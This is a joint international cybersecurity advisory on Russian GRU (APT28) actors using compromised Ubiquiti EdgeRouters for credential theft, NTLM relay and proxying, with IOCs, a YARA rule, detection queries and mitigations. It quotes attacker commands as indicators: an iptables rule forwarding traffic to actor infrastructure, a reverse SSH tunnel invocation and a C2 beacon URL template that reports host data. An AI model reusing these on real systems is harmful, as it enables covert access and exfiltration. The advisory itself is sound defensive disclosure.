JOINT
CYBERSECURITY
ADVISORY

Co-Authored by:

CENTRE FOR CYBERSECURITY BELGIUM

Bundeskriminalamt

Bundesamt für Verfassungsschutz

PST POLITIETS SIKKERHETSTJENESTE

National Cyber Security Centre
a part of GCHQ

TLP:CLEAR Product ID: JCSA-20240227-001

February 27, 2024

Russian Cyber Actors Use Compromised Routers to Facilitate Cyber Operations

SUMMARY

Actions EdgeRouter network defenders and users should implement to protect against APT28 activity:

- **Perform a hardware factory reset.**
- **Upgrade to the latest firmware version.**
- **Change any default usernames and passwords.**
- **Implement strategic firewall rules on WAN-side interfaces**.

The Federal Bureau of Investigation (FBI), National Security Agency (NSA), US Cyber Command, and international partners are releasing this joint Cybersecurity Advisory (CSA) to warn of Russian state-sponsored cyber actors' use of compromised Ubiquiti EdgeRouters (EdgeRouters) to facilitate malicious cyber operations worldwide. The FBI, NSA, US Cyber Command, and international partners – including authorities from Belgium, Brazil, France, Germany, Latvia, Lithuania, Norway, Poland, South Korea, and the United Kingdom -- assess the Russian General Staff Main Intelligence Directorate (GRU), 85th Main Special Service Center (GTsSS), also known as APT28, Fancy Bear, and Forest Blizzard (Strontium), have used compromised EdgeRouters globally to harvest credentials, collect NTLMv2 digests, proxy network traffic, and host spear-phishing landing pages and custom tools.

The U.S. Department of Justice, including the FBI, and international partners recently disrupted a GRU botnet consisting of such routers. However, owners of relevant devices should take the remedial actions described below to ensure the long-term success of the disruption effort and to identify and remediate any similar compromises.

To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at www.fbi.gov/contact-us/field, or submit a report to the FBI Internet Crime Complaint Center (IC3). When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.

This document is marked TLP:CLEAR. Disclosure is not limited. Sources may use TLP:CLEAR when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:CLEAR information may be distributed without restriction. For more information on the Traffic Light Protocol, see http://www.cisa.gov/tlp/.

TECHNICAL DETAILS

Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 14. See the **MITRE ATT&CK Tactics and Techniques** section for a table of the threat actors' activity mapped to MITRE ATT&CK tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK's Best Practices for MITRE ATT&CK Mapping and CISA's Decider Tool.

Overview

This advisory provides observed tactics, techniques, and procedures (TTPs), indicators of compromise (IOCs), and recommendations to mitigate the threat posed by APT28 threat actors related to compromised EdgeRouters. Given the global popularity of EdgeRouters, the FBI and its international partners urge EdgeRouter network defenders and users to apply immediately the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of cybersecurity incidents associated with APT28 activity.

Ubiquiti EdgeRouters have a user-friendly, Linux-based operating system that makes them popular for both consumers and malicious cyber actors. EdgeRouters are often shipped with default credentials and limited to no firewall protections to accommodate wireless internet service providers (WISPs). Additionally, EdgeRouters do not automatically update firmware unless a consumer configures them to do so.

Threat Actor Activity

As early as 2022, APT28 actors had utilized compromised EdgeRouters to facilitate covert cyber operations against governments, militaries, and organizations around the world. These operations have targeted various industries, including Aerospace & Defense, Education, Energy & Utilities, Governments, Hospitality, Manufacturing, Oil & Gas, Retail, Technology, and Transportation. Targeted countries include Czech Republic, Italy, Lithuania, Jordan, Montenegro, Poland, Slovakia, Turkey, Ukraine, United Arab Emirates, and the US[1][2]. Additionally, the actors have strategically targeted many individuals in Ukraine.

An FBI investigation revealed APT28 actors accessed EdgeRouters compromised by Moobot, a botnet that installs OpenSSH trojans on compromised hardware [T1588]. While the compromise of EdgeRouters has been documented in open-source reporting, FBI investigation revealed each compromised router accessed by APT28 actors housed a collection of Bash scripts and ELF binaries designed to exploit backdoor OpenSSH daemons and related services [T1546] for a variety of purposes.

APT28 actors have used compromised EdgeRouters to collect credentials, proxy network traffic, and host spoofed landing pages and custom post-exploitation tools. For example, in early 2023, APT28 actors authored custom Python scripts to collect account credentials for specifically targeted webmail users. APT28 actors uploaded these custom Python scripts [T1587] to a subset of compromised Ubiquiti routers to validate stolen webmail account credentials collected via cross-site scripting and browser-in-the-browser spear-phishing campaigns [T1566].

Additionally, an FBI investigation revealed that as early as 2022, APT28 actors had exploited CVE-2023-23397, a zero-day vulnerability at the time, to collect NTLMv2 digests from targeted Outlook accounts [T1203]. Per a Microsoft blog post[3] published in March 2023, CVE-2023-23397 is a critical elevation of privilege vulnerability in Microsoft Outlook on Windows wherein Net-NTLMv2 hashes are leaked to actor-controlled infrastructure [T1119, T1020]. Despite Microsoft releasing a patch for the vulnerability, FBI investigation revealed APT28 actors have continued to exploit CVE-2023-23397 to leak NTLM digests to actor controlled infrastructure. APT28 actors have installed publicly available tools such as Impacket ntlmrelayx.py[4] and Responder[5] on compromised Ubiquiti routers to execute NTLM relay attacks [T1557] and host NTLMv2 rogue authentication servers [T1556].

In summary, with root access to compromised Ubiquiti EdgeRouters, APT28 actors have unfettered access to Linux-based operating systems to install tooling and to obfuscate their identity while conducting malicious campaigns.

Indicators of Compromise

The FBI identified IOCs for the Moobot OpenSSH trojan and for APT28 activity on EdgeRouters. Readers of this CSA can reference the observations below to determine if their EdgeRouters have been impacted by either party.

Moobot OpenSSH Trojan

APT28 actors have leveraged default credentials and trojanized OpenSSH server processes to access EdgeRouters. Trojanized OpenSSH server processes are associated with Moobot, a Mirai-based botnet that infects internet of things (IoT) devices using remotely exploitable vulnerabilities, such as weak or default passwords. Trojanized OpenSSH server binaries downloaded from packinstall[.]kozow[.]com replaced legitimate binaries on EdgeRouters accessed by APT28, allowing remote attackers to bypass authentication.

Credential Access via Python Scripts

APT28 actors have hosted custom Python scripts on compromised EdgeRouters to collect and validate stolen webmail account credentials. The scripts are typically stored alongside related log files in the home directory of a compromised user, e.g., /home/<compromised user>/srv/core.py and /home/<compromised user>/srv/debug.txt. The FBI has recovered verbose log files with information about APT28 activity on EdgeRouters.

File name	SHA-256
core.py	4E32B04930D1F745EBA92255EE1C5E5AC82B939FF12DE0522C8A4905431D033D
core.py	C51C6AA0230A2FEA888EBCD213D302F1CC9F6051FDB268AE5C7A09415845C404

Network defenders can use the FBI-created Yara rule below to locate credential collection scripts on compromised EdgeRouters. Additionally, they can query network traffic for connections with API endpoint api[.]anti-captcha[.]com, which APT28 actors use in their custom Python scripts to automatically break captcha problems on webmail login pages.

```
rule APT28_core_scripts {
strings:
       $a = "make_response('BAD')"
       $b = "make_response('Finaly')"
```

```
        $c = "make_response('NOOP')"
        $d = "api.anti-captcha.com"
        $e = "messages/remove"
        $f = "acbb64c3de5ea5e5936df4a1eecf1235"
condition:
        5 of them
}
```

Exploitation of CVE-2023-23397

APT28 actors have used `ntlmrelayx.py` and Responder to facilitate NTMLv2 credential leaks via exploitation of CVE-2023-23397 as a zero-day vulnerability since early 2022. The FBI collected evidence of APT28 CVE-2023-23397 activity on numerous compromised EdgeRouters. With default configurations, Responder logs activity to the following files:

- Responder-Session.log, and
- Responder.db.

Network defenders and users can search EdgeRouters for tooling associated with `ntlmrelayx.py` and Responder to identify APT28 activity.

Proxy and Tunnel Infrastructure

APT28 actors have used iptables rules on EdgeRouters to establish reverse proxy connections to dedicated infrastructure. Readers of this CSA can review iptables chains and Bash histories on EdgeRouters for unusual invocations like the example provided below.

```
iptables -t nat -I PREROUTING -d <router IP address> -p tcp -m tcp --dport 4443 -j DNAT -to-destination <APT28 dedicated infrastructure>:10081
```

Additionally, APT28 actors have uploaded adversary-controlled SSH RSA keys to compromised EdgeRouters to establish reverse SSH tunnels and access compromised devices. Readers of this CSA can review /root/.ssh/ and other .ssh/ directories under /home/ for unknown RSA keys, which adversaries have used to access EdgeRouters despite password changes. Readers can also query network traffic logs on EdgeRouters to identify abnormal SSH sessions. An invocation of a reverse SSH tunnel used by APT28 actors is included below.

```
ssh –i <RSA key> -p <port> root@<router IP address> -R <router IP address>:<port>
```

MASEPIE Malware

In December 2023, APT28 actors wrote MASEPIE[6], a small Python backdoor capable of executing arbitrary commands on victim machines. An FBI investigation revealed that on more than one occasion, APT28 used compromised Ubiquiti EdgeRouters as command-and-control infrastructure for MASEPIE backdoors deployed against targets. Data sent to and from the EdgeRouters was encrypted using a randomly generated 16-character AES key. It is important to note that APT28 does not deploy MASEPIE on EdgeRouters, but rather on systems belonging to targeted individuals and organizations.

SHA-256 for MASEPIE backdoors

40a7fd89b9e51b0a515ac2355036d203357be90a2200b9c506b95c12db54c7aa

18f891a3737bb53cd1ab451e2140654a376a43b2d75f6695f3133d47a41952b6

0429bdc6a302b4288aea1b1e2f2a7545731c50d647672fa65b012b2a2caa386e

DETECTION

To locate related, malicious files on EdgeRouters, search Bash histories of all users for file downloads from domain `packinstall[.]kozow[.]com`, query network traffic for connections with domain `packinstall[.]kozow[.]com`, and reference the file hash table below to locate artifacts on disk. Additionally, if directory `/usr/lib/libu.a/` exists on an EdgeRouter, it is likely an infection occurred.

File path	SHA-256
/usr/sbin/cl	3B5ED45345193B06F40515DA342FF146267E8340B2E1AB6D55A257D2E3554A2B
/usr/sbin/cl	ADAE1BD8938B9A0D825A2EF7E7C4E000F01966C397306027119F20D7ECCE955D
/usr/sbin/cts	C09F8D0A9FA0F9BB3E19556182A95782DAEC2F2F532CAB5EEB5528F2CD783583
/usr/sbin/env	1CC20155517860557C94308EC913E4C3BFC072C34CE33449641CC9FB1D571B21
/usr/sbin/events	551EB82D82B7A8830549C9183EB39ACF19719C84B9BCCC7FB443504B093F6BB9
/usr/sbin/events	CD83DD9470603B1A1951EEFA95B602E34207C4D5E62C649642E7160574A9C50D
/usr/sbin/events	FBC2E6820C874ED102BAB304382EDEFFB9708E7B8445E126C227A6C289D92708
/usr/sbin/ptty	C9E06C7C62395DA32C91CC0C4ACB95F29A0AA3380A833E7C7B24B8D4DB50C0C6
/usr/sbin/ptty	5FACBE53B4C63DBC865F3713385358DF490A4BAD9211337241D85F0554CCA40A
/usr/sbin/ptty	C7C40CDCDD65E468EE29D330A34E8EE94C26AA8B3F1830E0A8DFEA8ACA3CDD50
/usr/sbin/sshd	A4A95807F1C5B200D5D94E3E811A7C4AF2D0D9CA88CA4D7F9D02015574F4716F
/usr/sbin/sshd	104E3EA9A190BA039488F5200824FE883B98F6FE01D05A1B55E15ED2199C807A

Some versions of the OpenSSH trojan create malicious users `systemd` and `systemx` in `/etc/shadow` and `/etc/passwd` on infected EdgeRouters. The trojan also introduces an OpenDNS server IP address in `/etc/resolv.conf`, `208[.]67[.]220[.]222`, and a user-land process named `.kworker` to masquerade as a legitimate kernel thread.

Network defenders can also query network traffic for connections with the following domains, which were identified by the FBI and are associated with the OpenSSH trojan. HTTP beacons to these domains follow the form provided after the list.

- matbaiteahe[.]mooo[.]com
- lalapoc[.]kozow[.]com
- gneivaientga[.]ignorelist[.]com
- antotehlant[.]theworkpc[.]com
- onechoice[.]gleeze[.]com
- mumucnc[.]kozow[.]com

```
<C2_DOMAIN>/srv.php?type=${type}&ip=${ip}&sshd_port=${sshd_port}&sshd_backup_miss
ing=${sshd_backup_missing}&sshkey=${SSHKEY}&ptty_ver=${ptty_ver}&ctry=${CTRY}&id_
unic=${id_unic}&os=${os}&arch=${arch}&kernel=${kernel}&upt=${upt}&serverspeed=${s
erverspeed}&lan=${lan}&lan_ip=${lan_ip}&rk_date=${rk_date}&socks_value=${socks_va
lue}
```

EdgeRouters compromised by the OpenSSH trojan display a unique SSH identification string, *SSH-2.0-OpenSSH_6.7p2*. Use Netcat or similar tools to collect identification strings from EdgeRouters and other hardware to locate infections.

```
(local) $ nc <IP address of EdgeRouter> <SSH listening port on EdgeRouter>

SSH-2.0-OpenSSH_6.7p2 # this version indicates infection.
```

Additionally, query repositories of banners collected from internet hosts, e.g., Shodan or Censys, to locate EdgeRouters infected by the OpenSSH trojan. An example Censys query is provided below. The EdgeOS portion of the query can be negated to return other types of devices infected by the trojan.

```
services.software.uniform_resource_identifier: `cpe:2.3:a:openbsd:openssh:6.7p2*`
and
services.software.uniform_resource_identifier: `cpe:2.3:o:ui:edgeos*`
```

MITRE ATT&CK TACTICS AND TECHNIQUES

See Tables 1-7 for all referenced threat actor tactics and techniques in this advisory.

Table 1: APT28 ATT&CK Techniques for Resource Development

Technique Title	ID	Use
Develop Capabilities	T1587	APT28 threat actors authored custom Python scripts to collect account credentials for specifically targeted webmail users.
Obtain Capabilities	T1588	APT28 actors accessed EdgeRouters compromised by Moobot, a botnet that installs OpenSSH trojans on compromised hardware.

Table 2: APT28 ATT&CK Techniques for Initial Access

Technique Title	ID	Use
Compromise Infrastructure	T1584	APT28 threat actors have accessed EdgeRouters previously compromised by an OpenSSH trojan.
Phishing	T1566	APT28 threat actors conducted cross-site scripting and browser-in-the-browser spear-phishing campaigns.

Table 3: APT28 ATT&CK Techniques for Execution

Technique Title	ID	Use
Exploitation for Client Execution	T1203	APT28 threat actors exploited CVE-2023-23397.

Table 4: APT28 ATT&CK Techniques for Persistence

Technique Title	ID	Use

Event Triggered Execution	T1546	The compromised router housed a collection of Bash scripts and ELF binaries designed to backdoor OpenSSH daemons and related services.

Table 5: APT28 ATT&CK Techniques for Credential Access

Technique Title	ID	Use
Adversary-in-the-Middle	T1557	APT28 threat actors installed publicly available tools Impacket ntlmrelayx.py[vi] and Responder[vii] on compromised Ubiquiti routers to execute NTLM relay attacks.
Modify Authentication Process	T1556	ATP28 threat actors hosted NTLMv2 rogue authentication servers to modify authentication process from stolen credential collected during the NTLM relay attacks.

Table 6: APT28 ATT&CK Techniques for Collection

Technique Title	ID	Use
Automated Collection	T1119	APT28 utilizes CVE-2023-23397 to automate NTLMv2 hash collection.

Table 7: APT28 ATT&CK Techniques for Exfiltration

Technique Title	ID	Use
Automated Exfiltration	T1020	APT28 utilizes CVE-2023-23397 to automate exfiltration to actor-controlled infrastructure.

MITIGATIONS

Rebooting a compromised EdgeRouter will not remove the existing malware of concern, if present. The FBI and its partners recommend the following steps be taken to remediate compromised EdgeRouters:

1. Perform a hardware factory reset to flush file systems of malicious files,
2. Upgrade to the latest firmware version,
3. Change any default usernames and passwords, and
4. Implement strategic firewall rules on WAN-side interfaces to prevent the unwanted exposure of remote management services.

Additionally, all network owners should keep their operating systems, software, and firmware up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. For CVE-2023-23397, updating Microsoft Outlook mitigates the vulnerability. To mitigate other forms of NTLM relay, all network owners should consider disabling NTLM when feasible, or enabling server signing and Extended Protection for Authentication configurations[7].

Further, for longer term mitigations, network owners should prioritize only using routers and other equipment incorporating secure-by-design principles that eliminate default passwords and SOHO router defects.

REPORTING

The FBI seeks any information or evidence of APT28 activity on compromised EdgeRouters. This information provides the FBI with the critical information it needs to deter continued use of such techniques and to hold threat actors accountable under United States law.

The FBI encourages organizations and individuals to report information concerning suspicious or criminal activity to their local FBI field office, or the FBI's Internet Crime Complaint Center (IC3). When available, each report submitted should include the date, time, location, type of activity, number of people, and type of equipment used for the activity, the name of the submitting company or organization, and a designated point of contact.

REFERENCES

[1] Mandiant: Campaign 23.056: Suspected Espionage Group with Russia Nexus Conducts Phishing Campaign for Credential Harvesting

[2] Mandiant: Campaign 23.021: Suspected Espionage Group with Russia Nexus Targeted Multiple Organizations and Governments with CVE-2023-23397

[3] Microsoft: Guidance For Investigating Attacks Using CVE 2023-23397

[4] Github: Fortra/impacket

[5] Github: lgandx/Responder

[6] CERT-Ukraine: APT28: From Initial Damage to Domain Controller Threats in an Hour (CERT-UA#8399)

[7] Microsoft: Overview of Server Message Block Signing

DISCLAIMER

The information in this report is being provided "as is" for informational purposes only. The authoring agencies do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by the authoring agencies.

ACKNOWLEDGEMENTS

Mandiant and Microsoft Threat Intelligence contributed to this advisory.

VERSION HISTORY

February 27, 2024: Initial version